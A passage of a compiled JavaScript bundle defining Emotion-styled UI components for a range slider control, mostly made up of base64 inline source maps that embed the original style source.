gPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */",
30728 toString: _EMOTION_STRINGIFIED_CSS_ERROR__13
30729 });
30730 var Mark = /* @__PURE__ */ createStyled("span", false ? {
30731 target: "e1epgpqk7"
30732 } : {
30733 target: "e1epgpqk7",
30734 label: "Mark"
30735 })("position:absolute;left:0;top:-4px;height:4px;width:2px;transform:translateX( -50% );background-color:", COLORS.ui.background, ";z-index:1;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWdKK0IiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9y